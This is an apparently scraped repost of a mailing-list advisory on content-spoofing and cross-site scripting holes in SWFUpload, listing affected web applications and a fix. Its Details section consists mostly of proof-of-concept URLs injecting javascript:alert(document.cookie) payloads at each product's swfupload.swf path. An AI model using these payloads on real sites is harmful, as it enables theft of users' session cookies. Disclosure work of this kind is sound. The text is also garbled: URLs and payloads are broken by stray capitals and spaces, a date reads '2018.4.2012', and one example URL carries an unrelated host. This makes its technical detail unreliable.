Vulnerabilities in SWFUpload in multiple web applications: W

Source: Internet
Author: User
Tags codeigniter drupal typo3 xenforo

Hello list!

Earlier I 've wrote about Content Spoofing and Cross-Site Scripting
Vulnerabilities in SWFUpload (http://securityvulns.ru/docs29181.html). This
Is very popular flash-file, which is used at tens millions of web sites and
In hundreds of web applications (only WordPress is used at more then 62
Millions of web sites according to wordpress.com ).

Last year I 've wrote about other XSS hole in SWFUpload and I mentioned that
There are applying web applications with vulnerable SWFUpload. All of them are
Vulnerable to these new vulnerabilities, cannot swfupload.swf bundled
WordPress since version 3.3.2.

There are different names of files of SWFUpload: swfupload.swf,
Swfupload_f9.swf, swfupload_f8.swf, swfupload_f10.swf and swfupload_f11.swf.
Using web applications include few swf-files of SWFUpload. Not all of these
Swf-files are vulnerable to new holes: swfupload_f8.swf and swfupload_f9.swf
Are not vulnerable (they have no buttonText functionality according to my
Research ).

So from those web applications the next are vulnerable (plus other web
Applications ):

Swfupload.swf-Dotclear, XenForo, InstantCMS, AionWeb, doldolphin,
SwfUploadPanel for TYPO3 CMS, SentinelleOnAir.

Swfupload_f10.swf-SwfUploadPanel for TYPO3 CMS, Archiv plugin for TinyMCE,
Liferay Portal (Community Edition and Enterprise Edition), Swfupload
Drupal, SWFUpload for Codeigniter, SentinelleOnAir.

Swfupload_f11.swf-SentinelleOnAir.

Also InfoGlue is vulnerable (about XSS vulnerability in ZeroClipboard.swf in
Which I 've wrote last month), because it has SWFUpload too.

-------------------------
Affected products:
-------------------------

Vulnerable are all web applications with SWFUpload (v2.2.0.1 and previous
Versions ).

Vulnerable are versions WordPress 2.7-3.3.1 (which bundled
Swfupload.swf). The fixed version of swfupload.swf in WP 3.3.2 contain fix
As for previous XSS, as for these CS and XSS vulnerabilities (even WP
Developers didn't write about it ).

Vulnerable are potentially all versions of Dotclear, InstantCMS, AionWeb,
Doldolphin, SwfUploadPanel for TYPO3 CMS, Archiv plugin for TinyMCE, Liferay
Portal (Community Edition, which earlier called Standard Edition, and
Enterprise Edition), Swfupload for Drupal, SWFUpload for Codeigniter and
SentinelleOnAir. There is no information that they have fixed these
Vulnerabilities in their software (at that these holes were fixed together
With another XSS hole in WordPress 3.3.2 at 2018.4.2012 ).

Vulnerable are versions XenForo 1.0.0-1.1.2. In XenForo 1.1.3 this
Vulnerability was fixed and patch was released for previous versions. They
Used the same swf-file, as in WP 3.3.2, so it contains a fix as for previous
XSS, as for these CS and XSS vulnerabilities (even XenForo developers didn't
Write about it, because they didn't know that, since WP developers did it
Secretly ).

-----
Fix:
-----

Use swfupload.swf from WordPress 3.3.2 and higher versions. All web
Developers need to update their vulnerable version of SWFUpload to this
Fixed version.

----------
Details:
----------

There are two vulnerabilities in SWFUpload.

Content Spoofing (WASC-12 ):

Http: // site/swfupload.swf? ButtonText = test % 3 Cimg % 20src = http://www.bkjia.com/uploads/allimg/131120/11534G5T-0.gif%27%3E

It's possible to inject text, images and html (e.g. for link injection ).

Cross-Site Scripting (WASC-08 ):

Http: // site/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Code will execute after click. It's strictly social XSS.

These are examples of XSS vulnerability in different web applications:

WordPress:

Http: // site/wp-uplodes/js/swfupload/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Dotclear:

Http: // site/inc/swf/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

XenForo:

Http: // site/js/swfupload/Flash/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

InstantCMS:

Http: // site/DES/swfupload/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

AionWeb:

Http: // site/engine/classes/swfupload/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Doldolphin:

Http: // site/plugins/swfupload/swf/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

SwfUploadPanel for TYPO3 CMS:

Http: // site/xtFramework/library/ext_plugin/SwfUploadPanel/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Http: // site/xtFramework/library/ext_plugin/SwfUploadPanel/swfupload_f10.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Archiv plugin for TinyMCE:

Http: // site/js/tiny_mce/plugins/Archiv/swf/swfupload_f10.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Liferay Portal:

Http://www.2cto.com/html/js/misc/swfupload/swfupload_f10.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Swfupload for Drupal:

As it can be seen from the project
Http://code.google.com/p/drupal-swfupload/-there is version of Swfupload
For Drupal. But exactly in this project there are no files. But they are in
The project Respectiva (http://code.google.com/p/respectiva/), which is
Drupal with Swfupload.

Http: // site/js/libs/swfupload_f10.swf

SWFUpload for Codeigniter:

Http: // site/www/swf/swfupload_f10.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

SentinelleOnAir:

Http: // site/upload/swfupload/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Http: // site/upload/swfupload/swfupload10.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Http: // site/upload/swfupload/swfupload11.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

InfoGlue:

Previous XSS vulnerabilities:

Http: // site/webapp/applications/swfupload/swfupload.swf? MovieName = % 22]);} catch (e) {} if (! Self. a) self. a =! Alert (document. cookie );//

Http: // site/webapp/applications/swfupload/swfupload_f8.swf? MovieName = % 22]);} catch (e) {} if (! Self. a) self. a =! Alert (document. cookie );//

Http: // site/webapp/applications/swfupload/swfupload_f9.swf? MovieName = "]);} catch (e) {} if (! Self. a) self. a =! Alert (document. cookie );//

New XSS vulnerability:

Http: // site/webapp/applications/swfupload/swfupload.swf? ButtonText = % 3Ca % 20 href = % 27 javascript: alert (document. cookie) % 27% 3 EClick % 20me % 3C/a % 3E

Best wishes & regards,
MustLive
Administrator of Websecurity web site
Http://websecurity.com.ua

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.